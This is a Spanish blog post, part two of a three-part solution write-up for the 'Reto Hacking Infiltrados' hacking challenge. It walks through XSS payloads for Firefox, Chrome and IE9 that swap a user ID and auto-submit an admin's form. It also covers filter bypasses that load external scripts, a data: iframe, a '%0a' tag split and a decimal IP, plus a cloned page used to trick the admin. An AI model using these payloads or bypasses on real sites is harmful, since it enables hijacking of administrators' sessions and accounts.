jueves, mayo 19, 2011

Solucionario a Reto Hacking Infiltrados (2 de 3)

**********************************************************************************************
- Solucionario a Reto Hacking Infiltrados by pepelux (1 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (2 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (3 de 3)
Autor: @pepeluxx
**********************************************************************************************

URL del Reto: Reto Hacking Infiltrados

3.1- Mozilla Firefox v4.0.1

En el caso de Firefox no hizo falta saltarse ningún filtro, ya que directamente, no hay. Sólo había que ingeniarse una forma de acceder engañando al admin. Y la solución, tras varias pruebas, fue mandando en el campo ctl00%24cph2%24tbUrl esto:

http://rhinfiltrados.informatica64.com/inicioReto.aspx?idUsuario=950e8c2b-3a74-4f24-a809-40d32a9f73b6<script>function f(){document.aspnetForm.ctl00$cph2$hfidUsuario.value='950e8c2b-3a74-4f24-a809-40d32a9f73b6';document.aspnetForm.submit();}</script>

Para que se vea mejor, voy a desglosar el script que inyecté:

<script>
function f()
{
document.aspnetForm.ctl00$cph2$hfidUsuario.value='950e8c2b-3a74-4f24-a809-40d32a9f73b6';
document.aspnetForm.submit();
}
</script>

<BODY+ONLOAD=f()>


Lo que hace esto es lo que he comentado antes, cambiamos el valor del ID de usuario por el nuestro y luego ejecutamos el submit. Y para que el script se ejecute al cargar la página, lo invocamos con un BODY ONLOAD.

3.2- Google Chrome v11.0.696.65

El segundo en caer fue Chrome. Aquí encontré una solución que yo creo que es válida, pero que no se tomó como buena en las repetidas veces que lo intenté mandar. A ver si Chema me explica porqué no iba }:->

Una vez entendida la dinámica tras superar el obstáculo usando Firefox, ya tenemos clara la finalidad y lo que tenemos que hacer, por lo que antes de mandar a lo loco incidencias, tenemos que probar a ejecutar, sin mandar incidencias, un simple alert usando Chrome. La cosa no fue fácil ya que trae un filtro anti-XSS, pero bueno, encontré googleando varias formas de saltárselo y una de ellas es cargando un fichero externo, tal que así:

<script src=http://url/file.js?

Y metiendo en file.js un alert, por ejemplo (sin poner las etiquetas de script):

alert('XSS')

Como ya tenemos una forma de inyectar, el siguiente paso es probar a cambiar el ID de usuario y hacer el submit. Por lo que file.js quedaría así:

function f()
{
document.aspnetForm.ctl00$cph2$hfidUsuario.value='950e8c2b-3a74-4f24-a809-40d32a9f73b6';
document.aspnetForm.submit();
}

window.onload=f;

Esto dio bastante guerra ya que no terminaba de funcionar. Así que puse un alert delante y otro detrás y vi que se ejecutaba el primero pero no el segundo. Mirando con la consola de Chrome, aparecía un error diciendo que ctl00$cph2$hfidUsuario no existía.

Obviamente, si inyectamos ese código en el que no cerramos el script, todo lo que hay detrás queda inservible. Por lo que una solución fue modificar el script para que creara de nuevo ese input, quedando el fichero así:

function newInput()
{
var inpt = document.createElement('input');
inpt.type="text";
inpt.name="ctl00_cph2_hfidUsuario";
inpt.id="ctl00$cph2$hfidUsuario";
document.aspnetForm.appendChild(inpt);
document.aspnetForm.innerHTML+="
";
}

function f()
{
newInput();
document.aspnetForm.ctl00$cph2$hfidUsuario.value='950e8c2b-3a74-4f24-a809- 40d32a9f73b6';
document.aspnetForm.submit();
}

window.onload=f;


De esta forma ya no daba error y, al menos en el mail que yo recibía, iba todo bien, pero no me dieron por válida esta solución. Así que probé otro método que encontré para saltar el filtro de Chrome y que consistía en usar iframes:

<iframe src='data:text/html,<script src=http://url/file.js></script>

Que en local iba bien pero tampoco fue una solución válida. A estas alturas y ya bastante desesperado, sobre todo pensando en que IE9 iba a ser mucho más difícil aún, lo que probé es a pasar el reto sin la necesidad de explotar ningún XSS, accediendo al eslabón más débil, el humano … y voilá!

La solución pasó por enviar en el campo ctl00%24cph2%24tbUrl http://url Donde esa URL era una IP mía en la que había una copia exacta de inicioReto.aspx, con mi ID de usuario y añadiendo al final de la página:

<script>
window.onload = function(){ document.aspnetForm.submit(); }
</script>


3.3- Internet Explorer v9.0.8112.16421

Este reto lo pasé exactamente igual que con Chrome (supongo que con Firefox también se habría pasado sin problemas) aunque como estuve realizando las pruebas por la noche, con el reto cerrado y, al mismo tiempo que preparaba la inyección para el Chrome, hice algunas pruebas y, la forma de saltarse el filtro de IE9, al igual que IE8, es añadiendo un %0a en la etiqueta del script, algo así:

<sc%0aript>alert('XSS')</script>

Estuve probando la técnica usada por Beni en el reto de BrowserSchool y que consistía en superponer una imagen exactamente igual a la que aparecía en el reto pero que al pincharla llevara a mi IP. Aquí me encontré el problema de que el filtro del IE9 elimina los puntos de las URLs así que para saltarlo use como URL el valor decimal de mi IP y al script quitarle el punto … algo así:

http://3232235876/filejs

En este caso, al contrario que en la técnica anterior, no se podía hacer un submit de forma automática y había que esperar a que el administrador pinchara en la puerta. Al final, esta solución tampoco me la dieron por buena. Y como dije antes, la pasé exactamente igual que con Chrome. Tras pasar los 3 navegadores, podemos ver algo así:


Figura 4: Fase 1 pasada

**********************************************************************************************
- Solucionario a Reto Hacking Infiltrados by pepelux (1 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (2 de 3)
- Solucionario a Reto Hacking Infiltrados by pepelux (3 de 3)
Autor: @pepeluxx - http://www.pepelux.org - http://blog.pepelux.org
**********************************************************************************************

1 comentario: